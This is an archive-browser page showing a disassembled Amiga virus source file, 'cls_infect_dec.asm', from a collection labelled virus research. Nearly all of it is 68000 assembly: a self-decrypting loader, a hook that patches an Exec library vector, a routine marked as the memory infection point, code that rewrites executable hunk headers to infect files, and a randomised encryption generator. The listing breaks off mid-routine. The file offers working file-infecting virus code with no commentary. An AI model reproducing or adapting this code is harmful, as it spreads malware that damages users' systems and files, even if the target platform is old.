home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
telefisk.org
/
virusCollection.lzx
/
VirusResearch
/
beol96
/
cls_infect_dec.asm
< prev
next >
Wrap
Assembly Source File
|
2012-10-12
|
24KB
|
938 lines
; IRA V1.02 (Sep 6 1993) (c)1993 Tim Ruehsen
ABSEXECBASE EQU $4
CHK EQU $18
EXT_0002 EQU $3F2
EXT_0003 EQU $400
EXT_0004 EQU $600
EXT_0005 EQU $6F5
EXT_0006 EQU $1BC1
EXT_0007 EQU $DFF007
EXT_0008 EQU $68024178
SECTION S_0,CODE
SECSTRT_0:
JMP EXT_0008 ;000: 4EF968024178
DC.W $0038 ;006
MOVEA.L (A7)+,A3 ;008: 265F
PEA (1835).W ;00A: 4878072B
MOVE.L (A7)+,D3 ;00E: 261F
LAB_0000:
MOVE.B (A3),D4 ;010: 1813
ROL.B #3,D4 ;012: E71C
MOVE.B D4,(A3) ;014: 1684
MOVE.B (A3),D4 ;016: 1813
ROL.B #3,D4 ;018: E71C
MOVE.B D4,(A3) ;01A: 1684
MOVE.L (ABSEXECBASE).W,D5 ;01C: 2A380004
MOVEA.L D5,A6 ;020: 2C45
DC.W $0413 ;022
DC.W $0E4F ;024
PEA (A3) ;026: 4853
ADDQ.L #1,(A7) ;028: 5297
MOVEA.L (A7)+,A3 ;02A: 265F
TST D3 ;02C: 4A43
BEQ.S LAB_0001 ;02E: 6706
SUBQ #1,D3 ;030: 5343
BRA LAB_0000 ;032: 6000FFDC
LAB_0001:
MOVE #$FD67,D2 ;036: 343CFD67
DC.W $4EB6 ;03A
MOVE.L (A5)+,D0 ;03C: 201D
LEA LAB_0005(PC),A3 ;03E: 47FA003A
SUBQ.L #6,A3 ;042: 5D8B
LEA (EXT_0005).W,A4 ;044: 49F806F5
MOVE.L A4,D2 ;048: 240C
LAB_0002:
MOVE.B (A3),D1 ;04A: 1213
ROL.B #3,D1 ;04C: E719
MOVE.B D1,(A3) ;04E: 1681
MOVE.B (A3),D1 ;050: 1213
ROL.B #3,D1 ;052: E719
MOVE.B D1,(A3) ;054: 1681
MOVEQ #1,D1 ;056: 7201
ADDA D1,A3 ;058: D6C1
TST D2 ;05A: 4A42
BEQ.S LAB_0003 ;05C: 6706
SUBQ #1,D2 ;05E: 5342
BRA LAB_0002 ;060: 6000FFE8
LAB_0003:
LEA (EXT_0006).W,A0 ;064: 41F81BC1
DC.W $2C68 ;068
ASR #2,D3 ;06A: E443
PEA LAB_0004(PC) ;06C: 487A0006
JMP -636(A6) ;070: 4EEEFD84
LAB_0004:
LEA LAB_000A(PC),A0 ;074: 41FA018C
MOVE.L (A0),D0 ;078: 2010
LAB_0005:
SUBQ #2,A0 ;07A: 5548
CMP.L (A0),D0 ;07C: B090
BNE.S LAB_0005 ;07E: 66FA
MOVE #$4EF9,(A0) ;080: 30BC4EF9
MOVE.L -(A0),D2 ;084: 2420
LSL.L #2,D2 ;086: E58A
ADDQ.L #4,D2 ;088: 5882
MOVE.L D2,6(A0) ;08A: 21420006
MOVEA.L D2,A0 ;08E: 2042
EORI #$286F,(A0) ;090: 0A50286F
LEA LAB_0004(PC),A1 ;094: 43FAFFDE
MOVEA.L 58(A6),A0 ;098: 206E003A
MOVE #$037A,D7 ;09C: 3E3C037A
LAB_0006:
MOVE (A1)+,(A0)+ ;0A0: 30D9
DBF D7,LAB_0006 ;0A2: 51CFFFFC
PEA -1400(A0) ;0A6: 4868FA88
JMP -636(A6) ;0AA: 4EEEFD84
CLR D5 ;0AE: 4245
DC.W $4F4C ;0B0
DC.W $3936 ;0B2
EOR.B D2,D0 ;0B4: B500
RTS ;0B6: 4E75
SUB.B D2,D0 ;0B8: 9002
RTS ;0BA: 4E75
ROR.B #3,D0 ;0BC: E618
RTS ;0BE: 4E75
ADD.B D2,D0 ;0C0: D002
RTS ;0C2: 4E75
DC.W $180C ;0C4
BTST D7,(A5) ;0C6: 0F15
BTST D7,(A0)+ ;0C8: 0F18
DC.W $040D ;0CA
MOVE.B (A0),D0 ;0CC: 1010
DC.W $110A ;0CE
ROXL.B #1,D1 ;0D0: E311
DC.W $06E4 ;0D2
MOVE.B D4,-(A0) ;0D4: 1104
LSL.B #4,D5 ;0D6: E90D
MOVE.B 3331(A0),(A1)+ ;0D8: 12E80D03
MOVEP 4112(A1),D1 ;0DC: 03091010
DC.W $0203 ;0E0
ROL.B #3,D0 ;0E2: E718
MOVEP 784(A1),D1 ;0E4: 03090310
OR.B (A2),D0 ;0E8: 8012
ADDX.B D0,D0 ;0EA: D100
DC.W $041C ;0EC
DC.W $0A13 ;0EE
MOVEP 16890(A1),D0 ;0F0: 010941FA
DC.W $0E00 ;0F4
MOVEP 16890(A1),D0 ;0F6: 010941FA
DC.W $0F0C ;0FA
BCHG D4,(A1) ;0FC: 0951
OR.B D1,D4 ;0FE: 8801
BCHG D4,D1 ;100: 0941
DC.W $FA10 ;102
DC.W $0C09 ;104
ADDQ.L #8,A0 ;106: 5088
DC.W $0448 ;108
MOVEQ #14,D5 ;10A: 7A0E
DC.W $0109 ;10C
MOVEA.L (A7)+,A0 ;10E: 205F
DC.W $0004 ;110
MOVE.B (A3)+,-(A0) ;112: 111B
MOVE.L D1,-(A3) ;114: 2701
DC.W $0841 ;116
DC.W $F804 ;118
DC.W $06F5 ;11A
BTST D1,D2 ;11C: 0302
DC.W $0820 ;11E
DC.W $0800 ;120
MOVEP.L 30726(A0),D2 ;122: 05487806
DC.W $F501 ;126
DC.W $0220 ;128
MOVE.B D0,-(A7) ;12A: 1F00
BTST D0,D2 ;12C: 0102
MOVE #$0B06,D0 ;12E: 303C0B06
DC.W $06F5 ;132
DC.W $0C02 ;134
SUBQ #8,D0 ;136: 5140
BTST D0,D2 ;138: 0102
MOVE #$0606,D0 ;13A: 303C0606
DC.W $F502 ;13E
DC.W $0206 ;140
NEGX.B D7 ;142: 4007
LAB_0007:
OR.L D5,D0 ;144: 8085
OR.L D2,-(A7) ;146: 85A7
DC.W $CC09 ;148
DC.W $7D2F ;14A
ADDQ.B #8,D7 ;14C: 5007
DC.W $0409 ;14E
MOVE.B (A7)+,-(A2) ;150: 151F
DC.W $0209 ;152
ADDQ #1,A0 ;154: 5248
DC.W $0002 ;156
MOVEP.L 20484(A0),D4 ;158: 09485004
ADDQ.L #1,(A7) ;15C: 5297
DC.W $0109 ;15E
MOVEA.L (A7)+,A0 ;160: 205F
DC.W $0001 ;162
DC.W $0370 ;164
BTST D0,D3 ;166: 0103
BTST D4,D3 ;168: 0903
ADDA D0,A0 ;16A: D0C0
DC.W $0003 ;16C
MOVEP 4120(A1),D1 ;16E: 03091018
DC.W $0027 ;172
DC.W $0409 ;174
MOVE.B (A1),-(A0) ;176: 1111
DC.W $0202 ;178
DC.W $51C8 ;17A
DC.W $0A02 ;17C
ANDI #$4004,(A3) ;17E: 02534004
DC.W $6A00 ;182
DC.W $0A02 ;184
DC.W $024A ;186
NEGX.B D4 ;188: 4004
BEQ.S LAB_0008+2 ;18A: 6706
DC.W $0202 ;18C
SUBQ #1,D0 ;18E: 5340
LAB_0008:
SUBI #$000A,-(A0) ;190: 0460000A
AND.B D4,D0 ;194: C004
BTST D7,(A3)+ ;196: 0F1B
MOVE.L D5,-(A3) ;198: 2705
PEA LAB_0009(PC) ;19A: 487A0006
DC.W $054E ;19E
DC.W $EEFD ;1A0
LAB_0009:
OR.B D0,D2 ;1A2: 8400
BTST D0,D7 ;1A4: 0107
LEA 1789(A6),A0 ;1A6: 41EE06FD
OR.B D2,D2 ;1AA: 8402
DC.W $074E ;1AC
DC.W $A807 ;1AE
BTST D0,D1 ;1B0: 0101
MOVE #$08FD,D0 ;1B2: 303C08FD
OR.B D4,D2 ;1B6: 8404
DC.W $4EB6 ;1B8
BTST D4,D1 ;1BA: 0901
DC.W $054E ;1BC
DC.W $AEFD ;1BE
OR.B D0,D2 ;1C0: 8400
DC.W $040A ;1C2
MOVE.B -(A4),D4 ;1C4: 1824
BTST D2,30720(A4) ;1C6: 052C7800
DC.W $0400 ;1CA
BTST D0,D0 ;1CC: 0100
MOVEQ #4,D0 ;1CE: 7004
BTST D1,D6 ;1D0: 0306
DC.W $0020 ;1D2
NEGX.B D2 ;1D4: 4002
DC.W $062C ;1D6
ADDQ.B #8,D0 ;1D8: 5000
BTST D0,D0 ;1DA: 0100
MOVE.L (EXT_0003).W,D0 ;1DC: 20380400
SUBI.B #$2C,D2 ;1E0: 0402002C
NEGX.B D0 ;1E4: 4000
BTST D0,D6 ;1E6: 0106
LEA (EXT_0004).W,A0 ;1E8: 41F80600
DC.W $0402 ;1EC
DC.W $062C ;1EE
DC.W $6807 ;1F0
BSR.S LAB_000A ;1F2: 610E
LEA 56(A7),A0 ;1F4: 41EF0038
MOVEA.L (A0),A6 ;1F8: 2C50
MOVE.L D2,(A0) ;1FA: 2082
MOVEM.L (A7)+,D0-D7/A0-A5 ;1FC: 4CDF3FFF
RTS ;200: 4E75
LAB_000A:
MOVEM.L D0-D7/A0-A6,-(A7) ;202: 48E7FFFE
JSR -132(A6) ;206: 4EAEFF7C
MOVEQ #13,D1 ;20A: 720D
LEA LAB_000E(PC),A1 ;20C: 43FA002A
MOVEA.L 420(A6),A0 ;210: 206E01A4
BSR.S LAB_000C ;214: 6110
MOVEA.L 406(A6),A0 ;216: 206E0196
BSR.S LAB_000C ;21A: 610A
JSR -138(A6) ;21C: 4EAEFF76
MOVEM.L (A7)+,D0-D7/A0-A6 ;220: 4CDF7FFF
LAB_000B:
RTS ;224: 4E75
LAB_000C:
TST.L (A0) ;226: 4A90
BEQ.S LAB_000B ;228: 67FA
CMP.B 8(A0),D1 ;22A: B2280008
BNE.S LAB_000D ;22E: 6604
MOVE.L A1,180(A0) ;230: 214900B4
LAB_000D:
MOVEA.L (A0),A0 ;234: 2050
BRA.S LAB_000C ;236: 60EE
* POINT OF MEMORY INFECTION JUMP *
LAB_000E:
MOVEM.L D1-D7/A0-A6,-(A7) ;238: 48E77FFE
MOVEA.L (ABSEXECBASE).W,A6 ;23C: 2C780004
MOVEA.L 276(A6),A3 ;240: 266E0114
LEA 70(A3),A3 ;244: 47EB0046
BSR LAB_0037 ;248: 610002D0
MOVEA.L D0,A5 ;24C: 2A40
LEA (CHK).W,A4 ;24E: 49F80018
ADDA.L 10(A5),A4 ;252: D9ED000A
BSR.S LAB_000A ;256: 61AA
NOT.B 9(A5) ;258: 462D0009
BMI.S LAB_0013 ;25C: 6B3E
MOVE.L -20(A4),D6 ;25E: 2C2CFFEC
MOVEA.L D6,A0 ;262: 2046
TST.L 96(A0) ;264: 4AA80060
BNE.S LAB_0013 ;268: 6632
MOVE.L -16(A4),D0 ;26A: 202CFFF0
BSR.S LAB_0010 ;26E: 611E
DC.W $040A ;270
DC.W $0032 ;272
BSET D1,330(A7) ;274: 03EF014A
BSET D1,164(A5) ;278: 03ED00A4
ORI #$0150,(A2) ;27C: 00520150
ORI.B #$22,(A0)+ ;280: 00180022
ORI.B #$1E,(A7) ;284: 0017001E
LAB_000F:
ADDA (A0),A0 ;288: D0D0
JSR (A0) ;28A: 4E90
BRA.S LAB_0012 ;28C: 600A
LAB_0010:
MOVEA.L (A7)+,A0 ;28E: 205F
LAB_0011:
CMP (A0)+,D0 ;290: B058
BEQ.S LAB_000F ;292: 67F4
MOVEA (A0)+,A1 ;294: 3258
BLT.S LAB_0011 ;296: 6DF8
LAB_0012:
CLR.B 9(A5) ;298: 422D0009
LAB_0013:
MOVE.L A5,D0 ;29C: 200D
MOVEM.L (A7)+,D1-D7/A0-A6 ;29E: 4CDF7FFE
RTS ;2A2: 4E75
SUBA.L A0,A0 ;2A4: 91C8
MOVE.L 102(A3),D0 ;2A6: 202B0066
LSL.L #2,D0 ;2AA: E588
BEQ.S LAB_001A ;2AC: 6760
MOVE.L 16(A0,D0.L),D0 ;2AE: 20300810
LSL.L #2,D0 ;2B2: E588
BEQ.S LAB_001A ;2B4: 6758
MOVEA.L D0,A0 ;2B6: 2040
MOVEQ #0,D0 ;2B8: 7000
MOVE.B (A0)+,D0 ;2BA: 1018
ADDA D0,A0 ;2BC: D0C0
BSR.S LAB_0015 ;2BE: 6114
BCLR D1,-(A0) ;2C0: 03A0
SUB A0,D4 ;2C2: 9848
BRA.S LAB_0014 ;2C4: 6002
SUB A0,D0 ;2C6: 9048
LAB_0014:
MOVE.L A0,D0 ;2C8: 2008
NEGX.B (A0)+ ;2CA: 4018
MOVEQ #40,D0 ;2CC: 7028
DC.W $1058 ;2CE
DC.W $9078 ;2D0
DC.W $B8FF ;2D2
LAB_0015:
MOVEA.L (A7)+,A1 ;2D4: 225F
BRA.S LAB_0017 ;2D6: 6002
LAB_0016:
ADDA D7,A1 ;2D8: D2C7
LAB_0017:
MOVEQ #0,D7 ;2DA: 7E00
MOVE.B (A1)+,D7 ;2DC: 1E19
BMI.S LAB_001A ;2DE: 6B2E
MOVEA.L A0,A2 ;2E0: 2448
LAB_0018:
MOVE.B -(A2),D0 ;2E2: 1022
LSL.B #3,D0 ;2E4: E708
CMP.B (A1)+,D0 ;2E6: B019
BNE.S LAB_0016 ;2E8: 66EE
DBF D7,LAB_0018 ;2EA: 51CFFFF6
MOVEQ #36,D0 ;2EE: 7024
ADD.L (A4),D0 ;2F0: D094
LSL.L #2,D0 ;2F2: E588
MOVEA.L D0,A0 ;2F4: 2040
MOVEA.L A0,A1 ;2F6: 2248
BSR.S LAB_001B ;2F8: 6116
BNE.S LAB_001A ;2FA: 6612
ADDA D0,A0 ;2FC: D0C0
MOVEQ #3,D7 ;2FE: 7E03
LAB_0019:
MOVE.B (A0)+,D0 ;300: 1018
ROR #8,D0 ;302: E058
DBF D7,LAB_0019 ;304: 51CFFFFA
BEQ.S LAB_001A ;308: 6704
MOVE.L D0,-20(A1) ;30A: 2340FFEC
LAB_001A:
RTS ;30E: 4E75
LAB_001B:
MOVEQ #0,D0 ;310: 7000
MOVE.B (A0),D0 ;312: 1010
SUBQ #4,D0 ;314: 5940
BLT.S LAB_001C ;316: 6D04
TST.B 1(A0,D0.W) ;318: 4A300001
LAB_001C:
RTS ;31C: 4E75
BSR LAB_0025 ;31E: 6100008C
TST.L -12(A4) ;322: 4AACFFF4
BEQ.S LAB_001C ;326: 67F4
MOVEQ #65,D0 ;328: 7041
LSL.L #2,D0 ;32A: E588
MOVEQ #1,D1 ;32C: 7201
JSR -684(A6) ;32E: 4EAEFD54
MOVE.L D0,(A3) ;332: 2680
BEQ.S LAB_001C ;334: 67E6
MOVEA.L D0,A2 ;336: 2440
LEA LAB_003A(PC),A0 ;338: 41FA0210
BSR.S LAB_0022 ;33C: 6152
MOVEA.L 124(A2),A0 ;33E: 206A007C
SUBQ #3,124(A2) ;342: 576A007C
BGE.S LAB_001D ;346: 6C02
ADDQ #8,D5 ;348: 5045
LAB_001D:
BGE.S LAB_0025 ;34A: 6C60
MOVE.L A0,D5 ;34C: 2A08
ADDA #$0802,A0 ;34E: D0FC0802
MOVE.L A0,D0 ;352: 2008
MOVEQ #1,D1 ;354: 7201
JSR -684(A6) ;356: 4EAEFD54
MOVE.L D0,(A2)+ ;35A: 24C0
MOVE.L D5,(A2) ;35C: 2485
ADD.L D0,(A2)+ ;35E: D19A
MOVE.L D0,(A2)+ ;360: 24C0
BEQ.S LAB_001E ;362: 6706
LEA 132(A2),A0 ;364: 41EA0084
BSR.S LAB_001B ;368: 61A6
LAB_001E:
BEQ.S LAB_0025 ;36A: 6740
ADDQ.B #4,(A0) ;36C: 5810
LEA 5(A0,D0.W),A1 ;36E: 43F00005
CLR.B (A1)+ ;372: 4219
LAB_001F:
MOVE.B D5,(A1)+ ;374: 12C5
LSR.L #8,D5 ;376: E08D
BNE.S LAB_001F ;378: 66FA
MOVE.L D4,(A2)+ ;37A: 24C4
MOVE.L 4(A4),D0 ;37C: 202C0004
LSL.L #2,D0 ;380: E588
MOVEA.L D0,A0 ;382: 2040
MOVE.B (A0)+,D0 ;384: 1018
MOVE.B D0,(A2)+ ;386: 14C0
LAB_0020:
MOVE.B (A0)+,(A2)+ ;388: 14D8
SUBQ.B #1,D0 ;38A: 5300
BGT.S LAB_0020 ;38C: 6EFA
LAB_0021:
RTS ;38E: 4E75
LAB_0022:
LEA 16(A4),A1 ;390: 43EC0010
MOVEQ #9,D1 ;394: 7209
LAB_0023:
MOVE.L -(A1),-(A7) ;396: 2F21
DBF D1,LAB_0023 ;398: 51C9FFFC
JSR (A0) ;39C: 4E90
LEA -24(A4),A1 ;39E: 43ECFFE8
MOVEQ #9,D1 ;3A2: 7209
LAB_0024:
MOVE.L (A7)+,(A1)+ ;3A4: 22DF
DBF D1,LAB_0024 ;3A6: 51C9FFFC
RTS ;3AA: 4E75
LAB_0025:
MOVE.L (A3),D0 ;3AC: 2013
BEQ.S LAB_0021 ;3AE: 67DE
SUBA.L A1,A1 ;3B0: 93C9
MOVEA.L 8(A1,D0.L),A1 ;3B2: 22710808
BSR.S LAB_0026 ;3B6: 6104
MOVEA.L (A3),A1 ;3B8: 2253
CLR.L (A3) ;3BA: 4293
LAB_0026:
JMP -690(A6) ;3BC: 4EEEFD4E
MOVE.L (A3),D0 ;3C0: 2013
BEQ.S LAB_0025 ;3C2: 67E8
MOVEA.L D0,A2 ;3C4: 2440
LEA LAB_0038(PC),A0 ;3C6: 41FA0162
BSR.S LAB_0022 ;3CA: 61C4
BRA.S LAB_0025 ;3CC: 60DE
MOVE.L (A3),D0 ;3CE: 2013
BEQ.S LAB_0021 ;3D0: 67BC
MOVEA.L D0,A2 ;3D2: 2440
MOVEA.L (A2)+,A1 ;3D4: 225A
MOVE.L -12(A4),D0 ;3D6: 202CFFF4
BEQ.S LAB_0021 ;3DA: 67B2
MOVE.L D0,D5 ;3DC: 2A00
ADDA.L D0,A1 ;3DE: D3C0
CMPA.L (A2),A1 ;3E0: B3D2
BGT.S LAB_0025 ;3E2: 6EC8
MOVE.L A1,-(A2) ;3E4: 2509
SUBA.L D0,A1 ;3E6: 93C0
MOVEA.L (A4),A0 ;3E8: 2054
JSR -624(A6) ;3EA: 4EAEFD90
CMP.L 4(A4),D5 ;3EE: BAAC0004
BEQ.S LAB_0021 ;3F2: 679A
MOVEA.L (A2)+,A1 ;3F4: 225A
CMPA.L (A2)+,A1 ;3F6: B3DA
LAB_0027:
BNE.S LAB_0025 ;3F8: 66B2
MOVEA.L (A2),A2 ;3FA: 2452
SUBI.L #$000003F3,(A2)+ ;3FC: 049A000003F3
BNE.S LAB_0025 ;402: 66A8
MOVE.L A1,-(A7) ;404: 2F09
MOVE #$06F5,D5 ;406: 3A3C06F5
ADDA #$0702,A1 ;40A: D2FC0702
LEA LAB_0056(PC),A0 ;40E: 41FA035A
BSR LAB_003D ;412: 61000176
ADDQ #4,A2 ;416: 584A
MOVEA.L A2,A0 ;418: 204A
MOVE.L (A0),D4 ;41A: 2810
ADDQ.L #1,(A0) ;41C: 5290
ADDQ.L #8,A0 ;41E: 5088
ADDQ.L #1,(A0)+ ;420: 5298
LSL.L #2,D4 ;422: E58C
ADDA.L D4,A0 ;424: D1C4
LSR.L #2,D4 ;426: E48C
MOVEQ #0,D3 ;428: 7600
MOVEQ #-8,D7 ;42A: 7EF8
LAB_0028:
MOVE.L (A0)+,D0 ;42C: 2018
SUBI #$03E8,D0 ;42E: 044003E8
BPL.S LAB_002B ;432: 6A04
LAB_0029:
MOVE.L (A7)+,D0 ;434: 201F
LAB_002A:
BNE.S LAB_0027 ;436: 66C0
LAB_002B:
CMPI #$000B,D0 ;438: 0C40000B
BGE.S LAB_0029 ;43C: 6CF6
MOVE.B LAB_002C(PC,D0.W),D0 ;43E: 103B0006
JMP LAB_002C(PC,D0.W) ;442: 4EFB0002
LAB_002C:
DC.W $440C ;446
DC.W $0C4C ;448
MOVE.L -4370(A6),(A6)+ ;44A: 2CEEEEEE
MOVEA D4,A4 ;44E: 3844
ADDQ.B #8,D0 ;450: 5000
MOVE.L (A0)+,D1 ;452: 2218
TST.L D7 ;454: 4A87
BPL.S LAB_002D ;456: 6A04
ADD.L A0,D7 ;458: DE88
EOR D2,(A0) ;45A: B550
LAB_002D:
CMPI #$4E75,2(A0) ;45C: 0C684E750002
BEQ.S LAB_0029 ;462: 67D0
LSL.L #2,D1 ;464: E589
ADDA.L D1,A0 ;466: D1C1
LAB_002E:
TAS D3 ;468: 4AC3
BEQ.S LAB_0028 ;46A: 67C0
SUBQ #1,D4 ;46C: 5344
BEQ.S LAB_0029 ;46E: 67C4
BRA.S LAB_0028 ;470: 60BA
LAB_002F:
MOVE.L (A0)+,D1 ;472: 2218
BEQ.S LAB_0028 ;474: 67B6
ADDQ.L #1,(A0)+ ;476: 5298
LSL.L #2,D1 ;478: E589
ADDA.L D1,A0 ;47A: D1C1
BRA.S LAB_002F ;47C: 60F4
LAB_0030:
MOVE.L (A0)+,D1 ;47E: 2218
BEQ.S LAB_0028 ;480: 67AA
LSL.L #2,D1 ;482: E589
LEA 4(A0,D1.L),A0 ;484: 41F01804
BRA.S LAB_0030 ;488: 60F4
MOVE.L (A0)+,D1 ;48A: 2218
LSL.L #2,D1 ;48C: E589
ADDA.L D1,A0 ;48E: D1C1
BRA.S LAB_0028 ;490: 609A
ADDQ.L #4,A0 ;492: 5888
BRA.S LAB_002E ;494: 60D2
MOVEQ #0,D3 ;496: 7600
SUBQ #1,D4 ;498: 5344
BNE.S LAB_0028 ;49A: 6690
MOVE.L A0,D3 ;49C: 2608
CMP.L (A7)+,D3 ;49E: B69F
BNE.S LAB_002A ;4A0: 6694
LEA LAB_0033(PC),A0 ;4A2: 41FA004A
BSR.S LAB_0031 ;4A6: 6104
LEA LAB_0032(PC),A0 ;4A8: 41FA0006
LAB_0031:
BRA LAB_0022 ;4AC: 6000FEE2
LAB_0032:
MOVEQ #8,D0 ;4B0: 7008
MOVEQ #-1,D1 ;4B2: 72FF
MOVEM.L D0-D1,(A4) ;4B4: 48D40003
MOVE #$03F0,D0 ;4B8: 303C03F0
BSR.S LAB_0035 ;4BC: 6148
MOVE.L A2,(A4) ;4BE: 288A
MOVEQ #12,D0 ;4C0: 700C
MOVE.L D0,4(A4) ;4C2: 29400004
MOVEQ #87,D0 ;4C6: 7057
BSR.S LAB_0035 ;4C8: 613C
ADDQ #8,A2 ;4CA: 504A
MOVE.L D5,(A2) ;4CC: 2485
SUB.L A2,D7 ;4CE: 9E8A
MOVE.L A2,(A4) ;4D0: 288A
MOVE.L D7,4(A4) ;4D2: 29470004
ADD.L A2,D7 ;4D6: DE8A
BSR.S LAB_0036 ;4D8: 6130
ADDQ #3,D5 ;4DA: 5645
LSL.L #2,D5 ;4DC: E58D
MOVEM.L D3/D5,(A4) ;4DE: 48D40028
BSR.S LAB_0036 ;4E2: 6126
SUB.L D7,D3 ;4E4: 9687
MOVE.L D7,(A4) ;4E6: 2887
MOVE.L D3,4(A4) ;4E8: 29430004
BRA.S LAB_0036 ;4EC: 601C
LAB_0033:
MOVEQ #0,D1 ;4EE: 7200
LAB_0034:
CLR.L -4(A4) ;4F0: 42ACFFFC
MOVEQ #16,D0 ;4F4: 7010
ADD.L (A3),D0 ;4F6: D093
MOVEA.L D0,A0 ;4F8: 2040
MOVE.L -(A0),(A4) ;4FA: 28A0
LSR.L #2,D0 ;4FC: E488
MOVEM.L D0-D1,4(A4) ;4FE: 48EC00030004
MOVEQ #21,D0 ;504: 7015
LAB_0035:
MOVE D0,-14(A4) ;506: 3940FFF2
LAB_0036:
MOVEA.L A5,A1 ;50A: 224D
MOVEA.L D6,A0 ;50C: 2046
PEA 22(A3) ;50E: 486B0016
MOVE.L (A7)+,-20(A4) ;512: 295FFFEC
JSR -366(A6) ;516: 4EAEFE92
LAB_0037:
PEA 22(A3) ;51A: 486B0016
MOVEA.L (A7),A0 ;51E: 2057
JSR -384(A6) ;520: 4EAEFE80
MOVEA.L (A7)+,A0 ;524: 205F
JMP -372(A6) ;526: 4EEEFE8C
LAB_0038:
MOVE.L 116(A2),D1 ;52A: 222A0074
BSR.S LAB_0034 ;52E: 61C0
ADDA #$0084,A2 ;530: D4FC0084
MOVE.L A2,8(A4) ;534: 294A0008
MOVEQ #34,D0 ;538: 7022
BSR.S LAB_0035 ;53A: 61CA
MOVE.L A2,D0 ;53C: 200A
LSR.L #2,D0 ;53E: E488
ADDQ.L #3,D0 ;540: 5680
MOVE.L D0,8(A4) ;542: 29400008
MOVEQ #28,D0 ;546: 701C
LAB_0039:
BRA.S LAB_0035 ;548: 60BC
LAB_003A:
LSR.L #2,D0 ;54A: E488
MOVE.L -(A4),D1 ;54C: 2224
LSL.L #2,D1 ;54E: E589
SUBA.L A0,A0 ;550: 91C8
MOVE.L 36(A0,D1.L),(A4)+ ;552: 28F01824
MOVE.L (A4),D4 ;556: 2814
MOVE.L D0,(A4) ;558: 2880
MOVE #$040A,D0 ;55A: 303C040A
BSR.S LAB_0039 ;55E: 61E8
MOVE.L D4,-4(A4) ;560: 2944FFFC
MOVEQ #26,D0 ;564: 701A
BSR.S LAB_0039 ;566: 61E0
LEA 16(A2),A2 ;568: 45EA0010
MOVE.L (A2),D5 ;56C: 2A12
SUB.L -(A2),D5 ;56E: 9AA2
CLR.L -(A2) ;570: 42A2
SUBQ.L #8,A2 ;572: 518A
RTS ;574: 4E75
LAB_003B:
MOVE.B EXT_0007,D0 ;576: 103900DFF007
EOR.B D0,D7 ;57C: B107
ROL #7,D7 ;57E: EF5F
MOVE D7,D0 ;580: 3007
RTS ;582: 4E75
LAB_003C:
BSR.S LAB_003B ;584: 61F0
LSR #8,D0 ;586: E048
RTS ;588: 4E75
LAB_003D:
MOVEM.L D0-D1/D3-D4/D6-D7/A0-A6,-(A7) ;58A: 48E7DBFE
BSR.S LAB_003B ;58E: 61E6
MOVE D0,-1752(A0) ;590: 3140F928
MOVE.L D0,-(A7) ;594: 2F00
JSR -132(A6) ;596: 4EAEFF7C
BSR.S LAB_003C ;59A: 61E8
LSR.B #6,D0 ;59C: EC08
MOVE D0,D4 ;59E: 3800
LAB_003E:
MOVE D5,D1 ;5A0: 3205
LSR #8,D1 ;5A2: E049
BSR.S LAB_003F ;5A4: 6108
DC.W $FB74 ;5A6
DC.W $0009 ;5A8
DC.W $000B ;5AA
DC.W $0009 ;5AC
LAB_003F:
MOVEQ #3,D2 ;5AE: 7403
MOVEA.L (A7),A3 ;5B0: 2657
MOVEA.L (A7)+,A2 ;5B2: 245F
LAB_0040:
ADDA (A2)+,A3 ;5B4: D6DA
MOVE.B D1,(A3)+ ;5B6: 16C1
MOVE.B D5,(A3)+ ;5B8: 16C5
DBF D2,LAB_0040 ;5BA: 51CAFFF8
LINK A2,#-138 ;5BE: 4E52FF76
MOVEA.L A7,A5 ;5C2: 2A4F
LEA 18(A5),A4 ;5C4: 49ED0012
LAB_0041:
MOVEQ #-64,D1 ;5C8: 72C0
MOVEQ #5,D3 ;5CA: 7605
LAB_0042:
BSR.S LAB_003B ;5CC: 61A8
LSR.B #5,D0 ;5CE: EA08
BSET D0,D1 ;5D0: 01C1
BNE.S LAB_0042 ;5D2: 66F8
MOVE.B D0,-(A2) ;5D4: 1500
DBF D3,LAB_0042 ;5D6: 51CBFFF4
ADDQ #1,D2 ;5DA: 5242
BEQ.S LAB_0041 ;5DC: 67EA
CLR.L -8(A2) ;5DE: 42AAFFF8
MOVEQ #0,D6 ;5E2: 7C00
LAB_0043:
BSR.S LAB_003B ;5E4: 6190
MOVE D0,D2 ;5E6: 3400
ASR #2,D2 ;5E8: E442
BSR.S LAB_003C ;5EA: 6198
LSR.B #4,D0 ;5EC: E808
MOVE D0,D1 ;5EE: 3200
SUBQ #8,D1 ;5F0: 5141
BGT.S LAB_0043 ;5F2: 6EF0
LEA LAB_0007(PC),A3 ;5F4: 47FAFB4E
MOVE.B 8(A3,D1.W),D1 ;5F8: 12331008
EXT D1 ;5FC: 4881
ADDA D1,A3 ;5FE: D6C1
MOVE.B D6,D3 ;600: 1606
AND.B (A3),D3 ;602: C613
CMP.B (A3)+,D3 ;604: B61B
BNE.S LAB_0043 ;606: 66DC
BSET D0,D6 ;608: 01C6
BNE.S LAB_0043 ;60A: 66D8
BSR LAB_003C ;60C: 6100FF76
LSR.B #6,D0 ;610: EC08
MOVE.B 0(A3,D0.W),D0 ;612: 10330000
ADDA D0,A3 ;616: D6C0
BSR.S LAB_0048 ;618: 616C
MOVE D6,D0 ;61A: 3006
LSL #7,D0 ;61C: EF48
BPL.S LAB_0043 ;61E: 6AC4
MOVEA.L -(A2),A3 ;620: 2662
MOVE.L A4,D0 ;622: 200C
SUB.L A3,D0 ;624: 908B
ADD D0,(A3) ;626: D153
MOVE.L A4,D1 ;628: 220C
SUB.L A5,D1 ;62A: 928D
ADDA D1,A1 ;62C: D2C1
MOVEA.L A1,A3 ;62E: 2649
MOVE.L D5,D6 ;630: 2C05
ADD D1,D5 ;632: DA41
LAB_0044:
MOVE.B -(A0),D0 ;634: 1020
MOVEQ #2,D3 ;636: 7602
LAB_0045:
MOVE -(A5),D2 ;638: 3425
MOVEA.L -(A5),A2 ;63A: 2465
JSR (A2) ;63C: 4E92
DBF D3,LAB_0045 ;63E: 51CBFFF8
LEA 18(A5),A5 ;642: 4BED0012
MOVE.B D0,-(A3) ;646: 1700
DBF D6,LAB_0044 ;648: 51CEFFEA
SUBQ #1,D1 ;64C: 5341
LAB_0046:
MOVE.B -(A4),-(A3) ;64E: 1724
DBF D1,LAB_0046 ;650: 51C9FFFC
MOVEA.L A1,A0 ;654: 2049
LEA 142(A7),A7 ;656: 4FEF008E
DBF D4,LAB_003E ;65A: 51CCFF44
JSR -138(A6) ;65E: 4EAEFF76
ADDQ #7,D5 ;662: 5E45
LSR #2,D5 ;664: E44D
BCS.S LAB_0047 ;666: 6502
